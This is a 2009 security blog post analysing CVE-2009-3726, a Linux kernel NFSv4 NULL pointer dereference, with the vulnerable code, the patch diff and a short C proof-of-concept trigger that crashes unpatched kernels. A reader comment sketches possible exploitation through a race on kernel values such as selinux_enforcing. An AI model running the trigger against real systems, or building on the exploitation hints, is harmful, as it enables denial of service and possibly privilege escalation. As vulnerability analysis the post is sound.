xorl %eax, %eax

CVE-2009-3726: Linux kernel NFSv4 NULL Pointer Dereference

with one comment

This vulnerability was discovered by Trond Myklebust of NetApp and it affects Linux kernel prior to 2.6.31-rc4 release. Here is the buggy code from fs/nfs/dir.c of 2.6.30 release of the Linux kernel.

const struct inode_operations nfs4_dir_inode_operations = {
       ...
        .lookup         = nfs_atomic_lookup,
       ...
};
       ...
static struct dentry *nfs_atomic_lookup(struct inode *dir, struct dentry *dentry, struct nameidata *nd)
{
        struct dentry *res = NULL;
        int error;
       ...
        /* Open the file on the server */
        res = nfs4_atomic_open(dir, dentry, nd);
        if (IS_ERR(res)) {
                error = PTR_ERR(res);
                switch (error) {
                        /* Make a negative dentry */
                        case -ENOENT:
                                res = NULL;
                                goto out;
                        /* This turned out not to be a regular file */
                        case -EISDIR:
                        case -ENOTDIR:
                                goto no_open;
                        case -ELOOP:
                                if (!(nd->intent.open.flags & O_NOFOLLOW))
                                        goto no_open;
                        /* case -EINVAL: */
                        default:
                                goto out;
                }
        } else if (res != NULL)
                dentry = res;
out:
        return res;
no_open:
        return nfs_lookup(dir, dentry, nd);
}

This lookup function in case of an error returned by nfs4_atomic_open(), it will choose the appropriate return operation based on the error code. If the error code is that of ‘-EISDIR’ (Error Is A Directory) the code will call nfs_lookup() instead of exiting with that error code as return value.
Because of this, the ‘state’ would be NULL and a subsequent attempt to open it will result in a NULL pointer dereference in nfs4_proc_lock() because of this:

static int
nfs4_proc_lock(struct file *filp, int cmd, struct file_lock *request)
{
        struct nfs_open_context *ctx;
        struct nfs4_state *state;
        unsigned long timeout = NFS4_LOCK_MINTIMEOUT;
        int status;
       ...
        if (IS_GETLK(cmd))
                return nfs4_proc_getlk(state, F_GETLK, request);
       ...
        if (request->fl_type == F_UNLCK)
                return nfs4_proc_unlck(state, cmd, request);

        do {
                status = nfs4_proc_setlk(state, cmd, request);
       ...
}

In any of these cases, ‘state’ would be NULL and all of the nfs4_proc_getlk(), nfs4_proc_unlck() and nfs4_proc_setlk() access that pointer without performing any checks for a possible NULL pointer. As Eugene Teo explained in his email to oss-security, since an error occured in the initial lookup, the NFSv4 state will not be updated and consequently, result to a NULL pointer dereference in the above code.
The fix was to rearrange the cases of nfs_atomic_lookup() error code handling in order to simply return the error code in case of ‘-EISDIR’.

                        /* This turned out not to be a regular file */
-                       case -EISDIR:
                        case -ENOTDIR:
                                goto no_open;
                        case -ELOOP:
                                if (!(nd->intent.open.flags & O_NOFOLLOW))
                                        goto no_open;
+                       /* case -EISDIR: */
                        /* case -EINVAL: */

And also update nfs4_proc_lock() to add the missing NULL pointer checks for ‘state’ pointer as you can see below:

        if (request->fl_start < 0 || request->fl_end < 0)
                return -EINVAL;
 
-       if (IS_GETLK(cmd))
-               return nfs4_proc_getlk(state, F_GETLK, request);
+       if (IS_GETLK(cmd)) {
+               if (state != NULL)
+                       return nfs4_proc_getlk(state, F_GETLK, request);
+               return 0;
+       }
 
        if (!(IS_SETLK(cmd) || IS_SETLKW(cmd)))
                return -EINVAL;
 
-       if (request->fl_type == F_UNLCK)
-               return nfs4_proc_unlck(state, cmd, request);
+       if (request->fl_type == F_UNLCK) {
+               if (state != NULL)
+                       return nfs4_proc_unlck(state, cmd, request);
+               return 0;
+       }
 
+       if (state == NULL)
+               return -ENOLCK;
        do {
                status = nfs4_proc_setlk(state, cmd, request);

At last, Jeff Layton coded a small PoC trigger C program which you can find here. This a simple program, here is what it does…

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>

int main(int argc, char **argv)
{
	int fd, err;
	struct flock fl = { .l_type	= F_RDLCK,
			    .l_whence	= SEEK_SET };

	fd = open("/proc/self/exe", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "Couldn't open /proc/self/exe: %s\n",
			strerror(errno));
		return 1;
	}

Initializing a ‘flock’ structure for file locking with its type being set at ‘F_RDLCK’ (File Read Lock) and the starting offset to ‘SEEK_SET’ to start from the beginning of the file. It then opens up itself from the PROCFS filesystem using ‘/proc/self/exe’ file as read-only.
Now, the code continues like this…

	err = fcntl(fd, F_SETLK, &fl);
	if (err != 0) {
		fprintf(stderr, "setlk errno: %d\n", errno);
		return 1;
	}

	return 0;
}

The fcntl(2) call will set the read lock to that file and lead to nfs4_proc_lock() function, and specifically, in ‘IS_GETLK(cmd)’ case that will invoke nfs4_proc_getlk() and trigger the pointer dereference of ‘state’ pointer.

Written by xorl

November 7, 2009 at 01:13

Posted in bugs, linux

One Response

Subscribe to comments with RSS.

  1. Exploitation of this particular bug would be interesting. In both paths vulnerable to the NULL state, you have an arbitrary inc/dec that you can race against to abuse. There seem to be more possibilities for exploitation in nfs4_proc_getlk and nfs4_proc_setlk, as both functions touch a huge amount of code (flowing into SUN RPC as well) and controlling state gives you control over a number of pointers that eventually get used further down. But there’s nothing easy and immediately obvious that stands out to me (in other words, this would take more than 5 minutes to exploit ;))

    The inc/dec race is kinda neat though (race on selinux_enforcing for instance).

    spender

    November 7, 2009 at 13:39


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s